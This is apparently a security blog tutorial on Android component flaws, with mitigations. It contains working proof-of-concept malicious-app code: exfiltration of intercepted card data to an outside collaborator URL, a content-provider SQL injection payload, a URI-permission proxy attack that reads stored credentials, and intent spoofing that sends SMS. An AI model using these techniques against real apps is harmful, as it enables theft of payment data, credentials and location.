Hello Everyone !

The subject of this article is about vulnerabilities that can be found in four main components used in Android Applications. In particular, the attack techniques performed on exported attribute and Implicit Intent were analyzed. As the main concept, PoC provided with methods added to malicious applications, not with ADB(for command-line tools). While not pioneering, technical information on how to avoid these vulnerabilities was also included.

These components, which I describe as the four horsemen of the apocalypse;

  • Activity
  • Content Provider
  • Services
  • Broadcast Receiver

Android 7.0 Nougat and previous versions are no longer supported, but they hold the majority of the market. It came with Android Marshmallow in application based controls. Therefore, applications were prepared and tested on Marshmallow.

Let’s start!

Activity

An application can start an Activity of a different application via Intent under necessary conditions. Like having the android:exported attribute enabled. Using this feature is normal. However, when the attacker point of view is involved, the relevant Activity may be an unauthorized and malicious interaction.

However, with the new security measures coming to Android versions, the exported feature is false by default in Android 4.2 and higher versions. For example, the exported property is not defined in the code script below. But, when a malicious application tries to call the target activity via ComponentName and Intent, it receives a User Permission warning.





<activity android:name="com.target.application.MainActivity2"/>
ActivityManager: START u0 {cmp=com.target.application/.MainActivity2} from uid 10060 on display 0
ActivityManager: Permission Denial: starting Intent { cmp=com.target.application/.MainActivity2 } from ProcessRecord{5bce17a 4994:com.malicious.app/u0a60} (pid=4994, uid=10060) not exported from uid 10061




We said that it is normal for the Exported feature to be active. So what kind of striction do we need so that attackers do not exploit this situation? Answer is in permission. In the below, the developer has specified a custom permission. Therefore, even if the exported feature is active, the permission warning was given because the malicious app could not have this authority.





        <activity 
            android:name="com.target.application.MainActivity2" 
            android:exported="true"
            android:permission="com.example.CUSTOM_PERMISSION">
        </activity>
ActivityManager: START u0 {cmp=com.target.application/.MainActivity2} from uid 10060 on display 0
ActivityManager: Permission Denial: starting Intent { cmp=com.target.application/.MainActivity2 } from ProcessRecord{c48f503 2959:com.malicious.app/u0a60} (pid=2959, uid=10060) requires com.example.CUSTOM_PERMISSION




Let’s say the application is public. A threat actor can analyze the relevant permissions. As a result, it can define its own AndroidManifest.xml file. What the malware needs is <uses-permission> tag. Then the related Activity was displayed via Intent.

I want to add a note. Since I developed both test applications in Android Studio, the apk is signed with the same certificate. I signed the malicious test application with a different key for you. So we can examine the interaction of these two applications that do not have the same certificate.





SHA1: B2:99:CE:38:10:4E:6B:D4:8B:DA:DC:8E:FF:DE:C1:24:5A:6D:73:EF
SHA256: CF:5F:7B:05:C7:4F:E1:4B:D7:45:09:EB:11:9B:AD:56:85:F4:70:26:15:E3:2D:D3:0F:5C:FD:6F:06:1D:4E:8B
Signature algorithm name: SHA256withRSA
SHA1: 73:2A:03:6B:59:DC:D8:8A:0B:A8:A0:A5:96:99:D2:94:5E:5E:A9:E5
SHA256: D3:F8:83:77:A5:DC:34:92:60:84:9D:B4:1F:B1:CA:83:09:82:78:AD:C6:7E:F0:F2:DE:81:57:0F:EC:1B:EB:DF
Signature algorithm name: SHA1withRSA (weak)
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 package="com.malicious.app">
<uses-permission android:name="com.example.CUSTOM_PERMISSION"/>
.
.
.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 package="com.target.application">
<permission android:name="com.example.CUSTOM_PERMISSION"/>
<uses-permission android:name="com.example.CUSTOM_PERMISSION"/>

<activity
     android:name=".MainActivity2"
     android:exported="true"
     android:permission="com.example.CUSTOM_PERMISSION">
</activity>
ActivityManager: START u0 {cmp=com.target.application/.MainActivity2} from uid 10080 on display 0
ActivityManager: Displayed com.target.application/.MainActivity2: +114ms




The most important thing for me to go into certificate detail is android:protectionLevel. If the Activity’s custom permission is defined as protectionLevel signature, it will need to be signed with the same certificate for a different application to access this Activity.

NOTE: If the same custom permission was defined for the <permission> tag in the malicious application, the INSTALL_FAILED_DUPLICATE_PERMISSION error would be received and the malware could not be installed on the device.





<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 package="com.malicious.app">
<uses-permission android:name="com.example.CUSTOM_PERMISSION"/>
.
.
.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 package="com.target.application">
<permission android:name="com.example.CUSTOM_PERMISSION" android:protectionLevel="signature"/>
<uses-permission android:name="com.example.CUSTOM_PERMISSION"/>
.
.
ActivityManager: START u0 {cmp=com.target.application/.MainActivity2} from uid 10080 on display 0
ActivityManager: Permission Denial: starting Intent { cmp=com.target.application/.MainActivity2 } from ProcessRecord{c72c611 2519:com.malicious.app/u0a80} (pid=2519, uid=10080) requires com.example.CUSTOM_PERMISSION




So far we have seen the interaction of the malware with the target. What about the interaction of the target with the malware?

In the example scenario below, MainActivity is sending sensitive data to MainActivity2 via intent. But the malicious app did the same definition of <intent-filter> to itself. Because of this situation, the implict intent scenario exposed and the relevant data was transmitted to the 3rd party application.









Below, EditText data received from the user’s input in Target’s MainActivity is sending to MainActivity2 class via intent. Here the developer used <intent-filter>. This means that a system application or third party application will receive this data. The action tag contains the path to which the data will be transmitted. By default, this data will be passed to the location in the action via category.DEFAULT.

The problem here is that the same definition is defined in the malware, so data can be transmitted to the malware. In fact, if the category.DEFAULT definition was not made, this data would be transmitted to the malware without asking the user. In the PoC below, I was able to retrieve the data via getIntent().getStringExtra("key") and send it to the Burp Collaborator…

We can apply two techniques to avoid this vulnerability;

An explicit intent is one that you use to launch a specific app component, such as a particular activity or service in your app.

Explicit Intent

A permission that the system grants only if the requesting application is signed with the same certificate as the application that declared the permission.

signature(When send data with permission)
intent.putExtra("fullname", fullname.getText().toString());
intent.putExtra("cardno", cardNumber.getText().toString());
intent.putExtra("cvc", cardCVV.getText().toString());
intent.putExtra("date", cardDate.getText().toString());
intent.setAction("com.target.application.MainActivity2");

<activity android:name=".MainActivity2">
    <intent-filter>
        <action android:name="com.target.application.MainActivity2" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>
URL obj = new URL(GET_URL + "r?fullname=" +
  this.getIntent().getStringExtra("fullname") +
  "&cardNumber=" + this.getIntent().getStringExtra("cardno")+
  "&cardDate=" + this.getIntent().getStringExtra("date") +
  "&cardCVC=" + this.getIntent().getStringExtra("cvc"));
 
<activity android:name=".MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
    <intent-filter>
        <action android:name="com.target.application.MainActivity2" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>
 

Content Provider

Android applications use IPC and Components when exchanging data between each other. This is because of the sandbox. Each application is run by different users. For this reason, users cannot access the data in the local storage of the different application, as follows.

drwxr-x--x u0_a72   u0_a72            2021-10-28 10:16 com.hebun.contentprovider 
drwxr-x--x u0_a83   u0_a83            2021-10-23 08:43 com.malicious.app
root@vbox86p:/data/data # su u0_a83
u0_a83@vbox86p:/ $ cd /data/data/com.hebun.contentprovider/
u0_a83@vbox86p:/data/data/com.hebun.contentprovider $ ls -la
opendir failed, Permission denied
 

Content Provider comes into play so that we can process data to databases in local storage. The case of exporting the component in the Activity header is also valid here. If it is true, different applications can query, change, delete and add data in the storage area of the target application thanks to this provider.

In the log output below, there is a warning given by a provider whose exported property is false.

ActivityManager: Permission Denial: opening provider com.hebun.contentprovider.IbansProvider from ProcessRecord{43b75b0 5651:com.malicious.app/u0a83} (pid=5651, uid=10083) that is not exported from uid 1007210-28 AndroidRuntime: Shutting down VM
AndroidRuntime: FATAL EXCEPTION: main
AndroidRuntime: Process: com.malicious.app, PID: 5651
AndroidRuntime: java.lang.SecurityException: Permission Denial: opening provider com.hebun.contentprovider.IbansProvider from ProcessRecord{43b75b0 5651:com.malicious.app/u0a83} (pid=5651, uid=10083) that is not exported from uid 10072
 

Trusted 3rd party applications can pull data from local storage. But how does a malicious app exploit it?

Thanks to the Cursor interface, reading and writing operations can be done in the database. If the path information of the exported provider URI is detected, a cursor object can be created in the malicious’s class and querying can be performed.

In the screenshot, the process id of the Malicious app was able to output the IBAN of the target application on the logcat. This means that the malware can exploit the provider of the target application.

<provider
    android:name=".IbansProvider"
    android:authorities="com.hebun.contentprovider.IbansProvider"
    android:enabled="true"
    android:exported="true">
</provider>
Cursor cursor = getContentResolver().query(Uri.parse("content://com.hebun.contentprovider.IbansProvider/ibans"), 
	null, 
    null, 
    null, 
	null);
Log.e("IBAN NO:", String.valueOf(cursor.getString(cursor.getColumnIndex("id"))+ " | "+ cursor.getString(cursor.getColumnIndex("accountName")) + " | " + cursor.getString(cursor.getColumnIndex("ibanNo")));

Writing as well as reading the database can cause critical attack vectors. Let’s take the example above, although it’s not a likely scenario. The client side database where IBAN information is stored can be updated by a malware. Therefore, the user may perform a transfer transaction to a different person without being aware of it.

It will be sufficient to use the update method instead of query on the Cursor object.

ContentValues values = new ContentValues();
values.put("ibanNo", "TR100010001000100010001000");
getContentResolver().update(Uri.parse("content://com.hebun.contentprovider.IbansProvider/ibans"),values,null,null);

You can allow the read operation and disallow the write operation. writePermission and readPermission attributes can be used for this. A Custom Permission is defined in the writePermission attribute below. The malicious trying to perform a write operation is getting an error.

You can also provide specific control to the tables in the database. For this, writePermission or readPermission can be defined to the target path with the <path-permission> to be added to the provider.

NOTE: The permission defined at the Path level takes precedence.

<provider
    android:name=".IbansProvider"
    android:authorities="com.hebun.contentprovider.IbansProvider"
    android:enabled="true"
    android:exported="true"
    android:writePermission="com.example.app.CUSTOM_PERMISSION">
</provider>
 
<provider
    android:name=".IbansProvider"
    android:authorities="com.hebun.contentprovider.IbansProvider"
    android:enabled="true"
    android:exported="true">
    <path-permission
 android:path="/ibans"
        android:writePermission="com.example.app.CUSTOM_PERMISSION" />
</provider>
10-30 13:23:21.108 3271-3286/com.hebun.contentprovider E/DatabaseUtils: Writing exception to parcel
    java.lang.SecurityException: Permission Denial: writing com.hebun.contentprovider.IbansProvider uri content://com.hebun.contentprovider.IbansProvider/ibans from pid=3308, uid=10083 requires com.example.app.CUSTOM_PERMISSION, or grantUriPermission()
        at android.content.ContentProvider.enforceWritePermissionInner(ContentProvider.java:679)
        at android.content.ContentProvider$Transport.enforceWritePermission(ContentProvider.java:494)
        at android.content.ContentProvider$Transport.update(ContentProvider.java:350)
        at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222)
        at android.os.Binder.execTransact(Binder.java:507)
 

Attention!

Let’s assume that there are two paths named ibans and cards in Provider and the related data is kept in same database. Adding readPermission in cards path, a different application will not be able to access and read it. However, If no permission is specified in ibans path and no input control is added in cursor query, <path-permission> can be bypassed (because of developing).

What will provide this is the Client-Side SQL Payload from a different application. So SQL Injection…

<provider
    android:name=".IbansProvider"
    android:authorities="com.hebun.contentprovider.IbansProvider"
    android:enabled="true"
    android:exported="true">
    <path-permission android:path="/cards" android:readPermission="com.example.app.CUSTOM_PERMISSION" />
</provider>
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
sqlite> .tables
Cards             Ibans             android_metadata
sqlite> SELECT * FROM Cards;
1|3000300030003000
sqlite> SELECT * FROM Ibans;
1|Example|TR200020002000200020002000
getContentResolver().query(Uri.parse("content://com.hebun.contentprovider.IbansProvider/ibans"), null, "1=1) UNION SELECT id,cardNo,null FROM Cards;--", null, null);
Log.e("DUMP", String.valueOf(cursor.getString(cursor.getColumnIndex("id"))+ " | "+ cursor.getString(cursor.getColumnIndex("accountName")) + " | " + cursor.getString(cursor.getColumnIndex("ibanNo")));
11-06 07:41:04.803 3726-3726/com.malicious.app E/DUMP: 1 | 3000300030003000 | null
11-06 07:41:04.803 3726-3726/com.malicious.app E/DUMP: 1 | Example | TR200020002000200020002000
 

In the part where <path-permission> is defined, the malicious application needed one of two attributes. The first was custom permission. The other one is grantUriPermission()

First of all, sorry for the sequence diagram below. 😀 ExportedActivity is an exported vulnerable Activity. TargetProvider is a provider of the same application whose grandUriPermission() value is true. There are two different activities in the malicious application. ThiefActivity is a component with exported attribute.

  

Target Android App that would allow a malicious application to gain read and write access to some local storage files. This is because of the intent added to the ExportedActivity with the putExtra method. This intent contains FLAG_GRANT_* flags and this occurs when a malicious application that wants to access the provider pulls data using ExportedActivity. In short, There is an intent in intent state and ExportedActivity acts as a proxy.

Then, it transmits the data in ExportedActivity local to ThiefActivity which has another exported attribute via Intent. The xyz path is the “/data/data/com.hebun.provider/shared_prefs” directory, which was determined after the target application was analyzed.

 
<provider
    android:name=".AccountProvider"
    android:authorities="com.hebun.provider.AccountProvider"
    android:enabled="true"
    android:exported="false"
    android:grantUriPermissions="true">
    <meta-data 
    	android:name="android.support.FILE_PROVIDER_PATHS" 
    	android:resource="@xml/paths" />
</provider>
<activity
    android:name=".ExportedActivity"
    android:exported="true">
</activity>
private void LoginSuccess() {
    Intent intent = getIntent().getParcelableExtra("exported.NEXT_INTENT");
    if(intent != null) {
        startActivity(intent);
    }
    else {
       startActivity(new Intent(this, MainActivity.class));
    }
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
	| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
	| Intent.FLAG_GRANT_READ_URI_PERMISSION
	| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.malicious.app.ThiefActivity");
extra.setData(Uri.parse("content://com.hebun.provider.AccountProvider/"));


Intent intent = new Intent();
intent.setClassName("com.hebun.provider", "com.hebun.provider.ExportedActivity");
intent.putExtra("exported.NEXT_INTENT", extra);
startActivity(intent);
Uri uri = Uri.parse(getIntent().getDataString() + "xyz/credentials.xml");
 try {
     InputStream stream = getContentResolver().openInputStream(uri);
     InputStreamReader streamReader = new InputStreamReader(stream);
     BufferedReader reader = new BufferedReader(streamReader);
     String str;
     while((str = reader.readLine())!= null){
         Log.e("FILE CAPTURED","=========="+str+"==========");
     }
12-27 15:58:22.502 646-658/system_process I/ActivityManager: START u0 {cmp=com.hebun.provider/.ExportedActivity (has extras)} from uid 10087 on display 0
12-27 15:58:22.530 646-3776/system_process I/ActivityManager: START u0 {dat=content://com.hebun.provider.AccountProvider/ flg=0xc3 cmp=com.malicious.app/.ThiefActivity} from uid 10094 on display 0
12-27 15:58:22.560 4913-4913/com.malicious.app E/FILE CAPTURED: ==========<?xml version='1.0' encoding='utf-8' standalone='yes' ?>==========
12-27 15:58:22.561 4913-4913/com.malicious.app E/FILE CAPTURED: ==========<map>==========
12-27 15:58:22.561 4913-4913/com.malicious.app E/FILE CAPTURED: ==========    <string name="USER_PASSWORD">12345</string>==========
12-27 15:58:22.561 4913-4913/com.malicious.app E/FILE CAPTURED: ==========    <string name="USER_MAIL">test@test.com</string>==========
12-27 15:58:22.561 4913-4913/com.malicious.app E/FILE CAPTURED: ==========</map>==========
12-27 15:58:22.788 646-665/system_process I/ActivityManager: Displayed com.malicious.app/.ThiefActivity: +255ms (total +269ms)
  

Service

It is important to control the data transferred to the services. Especially for components with exported attribute active. Below is the error caused by a null data transmitted to a service with exported feature enabled in the target application.

NullPointerException, a RuntimeException in Java, is an error message that occurs when trying to use a variable with a null object reference.

java.lang.RuntimeException: Unable to start service com.hebun.service.MyService@f4caeb7 with Intent { cmp=com.hebun.service/.MyService (has extras) }: java.lang.NullPointerException: Attempt to invoke virtual method 'java.lang.String java.lang.Object.toString()' on a null object reference
	at android.app.ActivityThread.handleServiceArgs(ActivityThread.java:3027)
	at android.app.ActivityThread.-wrap17(ActivityThread.java)
	at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1442)
	at android.os.Handler.dispatchMessage(Handler.java:102)
	at android.os.Looper.loop(Looper.java:148)
	at android.app.ActivityThread.main(ActivityThread.java:5417)
	at java.lang.reflect.Method.invoke(Native Method)
	at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
	at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
Caused by: java.lang.NullPointerException: Attempt to invoke virtual method 'java.lang.String java.lang.Object.toString()' on a null object reference
 

The null point sent from an Activity to the MyService class with intent is called in the getExtras().get("KEY") method. The relevant variable is added directly to the Notification without checking it. The malware takes advantage of the exported feature of the service and transmits null data to the target application. As a result, the application crashes.

Before processing the relevant object, it should be checked whether it is null. You can prevent the crashing through conditions such as try-catch or if-else.

NOTE: This vulnerability applies not only to the Service but also to other components. It’s not even a component-level vulnerability. The main issue here is the problem of process the null value on some methods that an exported component receives through Inten.

 

<service
    android:name=".MyService"
    android:enabled="true"
    android:exported="true">
</service>

String input = intent.getExtras().get("inputExtra").toString();
Notification notification = new NotificationCompat
	.Builder(this, "exampleServiceChannel")
	.setContentIntent(pendingIntent)
	.setContentTitle("Example Service")
	.setContentText(input)
	.setSmallIcon(R.drawable.common_google_signin_btn_icon_dark)
	.build();

timer.schedule(new TimerTask() {  //Null data will be transmitted every 3 seconds
    @Override
    public void run() {
        String test = null;
        Intent intent = new Intent();
        intent.setComponent(componentName);
        intent.putExtra("inputExtra",test);

       startService(intent);
    }

}, 0, 3000);

Services also belonging to different applications can be started by utilizing the exported feature in as in Activities. In fact, the situation can go to more critical points for remote services. In the picture, a custom service with exported feature is communicating with ClientActivity via Messenger IPC.

ClientActivity notifies Messenger with IBinder that it wants location (scenario) information. The Handler in the service receives the request from the Messenger and applies the necessary methods to prepare the location information. This time, the desired location information is transmitted to ClientActivity via Messenger and processed in the Handler of the Activity.

In order to get location information, the ACCESS_FINE_LOCATION permission must be approved by the user. Services belonging to protectionLevel dangereous permissions cannot be used without user approval(Java Level). This situation reveals the criticality of exported services. Because the malicious application will be able to take advantage of this service and get data without permission. Such as ClientActivity via IBinder and Handler.

The malware has identified the service exported to the intent. Then, using the ServiceConnection object, bindService was called in the onServiceConnected function and thus the connection binding process was completed. Then the event I described above takes place. A flag is transmitted and the handler receiving this flag gives the required response.

Let’s get to the critical part. The service application, which asks the user for permission to use the location service, does not want it for the malicious.

private class LocationRequestHandler extends Handler {
  public void handleMessage(Message msg) {
     switch (msg.what){
       case GET_LOCATION_FLAG:
         Message messageLocationCoordinate = Message.obtain(null,GET_LOCATION_FLAG);
         Bundle bundle = new Bundle();
         bundle.putString("location",getLocation(longitude,latitude));
         messageLocationCoordinate.setData(bundle);
         try {
             msg.replyTo.send(messageLocationCoordinate);
class RecieveLocationHandler extends Handler {
  @Override
  public void handleMessage(Message msg) {
      locationInfo ="";
      switch (msg.what) {
          case GET_LOCATION_FLAG:
              locationInfo = msg.getData().getString("location");
              Log.e("COORDINATE",locationInfo);

 
12-15 15:47:02.388 5279-5279/com.malicious.app E/COORDINATE: Longitude : -18.5333 || Latitude : 65.9667
 

We can make the service safer by using a if condition in the function, which extends Handler object. Here, we will check if the application that wants to connect to this service has the android.permission.ACCESS_FINE_LOCATION permission with msg.sendingUid.

However, if the service and client application belongs to you, it is recommended to define permission at the signature level for the exported component.

Bundle bundle = new Bundle();
String callingApp = getApplicationContext().getPackageManager().getNameForUid(msg.sendingUid);
int checkPermission = getPackageManager().checkPermission("android.permission.ACCESS_FINE_LOCATION", callingApp);
if (checkPermission == 0){
    Message messageLocationCoordinate = Message.obtain(null,GET_LOCATION_FLAG);
    bundle.putString("location",getLocation(longitude,latitude));
    messageLocationCoordinate.setData(bundle);
    try {
        msg.replyTo.send(messageLocationCoordinate);
    }catch (RemoteException e){
        Log.i(TAG,""+e.getMessage());
    }
}else{
    bundle.putString("location",null);
    Log.e("CLIENT_APP_SITUATION",(callingApp + "'s permission value is "+ checkPermission));
}
12-16 14:19:58.361 4749-4749/com.hebun.serversideapp E/CLIENT_APP_SITUATION: com.malicious.app's permission value is -1
 

Broadcast Receiver

Receivers defined in Manifest are exported by default. This means that it can meet the broadcast sent by different applications, as in other components. By specifying the packet name or class name, the reception of the broadcast by receivers belonging to different applications can be prevented.

In the example scenario below, the location received by the custom service is transmitted to the custom receiver. The receiver’s task is to learn that the location has changed here. It will then broadcast to Android OS. While the local service transmits the related data with sendBroadcast, it sends it to the receiver with setAction defined. It will catch the broadcast thanks to the same action that the malicious application defines to its own receiver.

The point we drew attention to in the Service title was permissions. Likewise, the data transmitted to the receivers are transmitted after passing some permission checks. However, since no control is provided to the transmitted data, a malicious receiver can steal the data without permission.

Even in the intent-filter manipulation in the Activity header, the user is asked which activity should be started. However, for components that do not have interfaces such as service and receiver, data is transferred without being asked, and this can cause more dangerous results.

<receiver
    android:name=".LocationReceiver"
    android:enabled="true">
    <intent-filter>
        <action android:name="com.hebun.broadcastreceiver.LOCATION_RECEIVER"/>
    </intent-filter>
</receiver>
Intent intent = new Intent();
intent.setAction("com.hebun.broadcastreceiver.LOCATION_RECEIVER");
intent.putExtra("latitude",latitude);
intent.putExtra("longitude",longitude);
sendBroadcast(intent);
<receiver
    android:name=".MaliciousReceiver"
    android:enabled="true">
    <intent-filter>
        <action android:name="com.hebun.broadcastreceiver.LOCATION_RECEIVER"/>
    </intent-filter>
</receiver>
if (intent1.getAction().
	equalsIgnoreCase("com.hebun.broadcastreceiver.LOCATION_RECEIVER")) {
    Double x = bundle.getDouble("latitude");
    Double y = bundle.getDouble("longitude");
    Log.e("Location Captured", (x +" || " + y));
}
12-24 15:29:03.193 4799-4799/com.malicious.app E/Location Captured: 65.9667 || -18.5333
 

Sometimes remote receivers are needed. Because of this situation, it is necessary to mention a few security measures techniques.

One of them is the permission to be defined to sendBroadcast. If custom permission is not defined in the application to meet the relevant intent, you can throw SecurityException as a result of a security violation. You can even strengthen the implicit intent if you define the custom permission as signature.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.hebun.broadcastreceiver">
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <permission android:name="com.hebun.broadcastreceiver.CUSTOM_PERMISSON" android:protectionLevel="signature"/>
    <uses-permission android:name="com.hebun.broadcastreceiver.CUSTOM_PERMISSON" />
sendBroadcast(intent,"com.hebun.broadcastreceiver.CUSTOM_PERMISSON");
12-24 15:14:22.163   644   658 W BroadcastQueue: Permission Denial: receiving Intent { act=com.hebun.broadcastreceiver.LOCATION_RECEIVER flg=0x10 (has extras) } to com.malicious.app/.MaliciousReceiver requires com.hebun.broadcastreceiver.CUSTOM_PERMISSON due to sender com.hebun.broadcastreceiver (uid 10092)
 

Data received from Implicit Intent or exported component does not just create NullPointerException effect just like in the service header. If the extras taken by Java services (or managers) are not checked, or rather, if the necessary security measures are not taken to the component, these structures can be abused.

The most common scenario in vulnerable mobile applications(for CTF) is the SmsManager defined in the receiver. Since the intent-filter is custom here and the necessary permissions are not defined, the target application is exploited. It will be sufficient to detect the keys defined by the bundle and write them in its malicious application.

As you can see, a malicious app can be created that does not have permission to send SMS and can manipulate the data received by the relevant component.

SmsManager sms = SmsManager.getDefault();
Bundle bundle = intent.getExtras();
sms.sendTextMessage(bundle.getString("phoneNumber"), 
					(String) null, 
					bundle.getString("message"), 
					PendingIntent) null, 
					(PendingIntent) null);
Intent intent = new Intent("org.owasp.goatdroid.fourgoats.SOCIAL_SMS");
Bundle extras = new Bundle();
extras.putString("phoneNumber","15555218135");
extras.putString("message","From Malicious...");
intent.putExtras(extras);
sendBroadcast(intent);
 
12-30 10:00:29.854 279-291/? D/baseband-sms: newsms
12-30 10:00:29.854 279-291/? D/baseband-sms: sender:(N/A)
12-30 10:00:29.854 279-291/? D/baseband-sms: receiver:15555218135
12-30 10:00:29.855 279-291/? D/baseband-sms: index:1/1
12-30 10:00:29.855 279-291/? D/baseband-sms: txt:'From Malicious...'
12-30 10:00:29.856 913-913/com.android.phone D/MmsService: getAutoPersisting
 

Conclusion

As far as I have observed in my own way, security tests performed on mobile applications are no different from the web. I recommend that the security tests of different platforms should also be checked through the components specific to it. In particular, I can say that the components added by 3rd party libraries have default settings and are open to exploitation.

The reason I didn’t move forward with ADB (not Java code level) or Drozer was to show how a malicious application that can be installed with phishing techniques exploits these components.


My mobile security journey started with the user interface. I hope it ends as low-level. Dreaming is free…

We should avoid the “geography is destiny” literature and strive to make our dreams come true. So keep working hard!

I think it is a long but useful article. The subject that I did not mention will definitely have, because the attack scenarios never run out. If I have given incomplete or incorrect information, please contact me. Don’t forget!

Knowledge increases with sharing… 

References

https://developer.android.com/guide/components/

https://developer.android.com/guide/components/intents-filters

https://developer.android.com/guide/topics/permissions

https://proandroiddev.com/ipc-techniques-for-android-45d815ac59be

Share: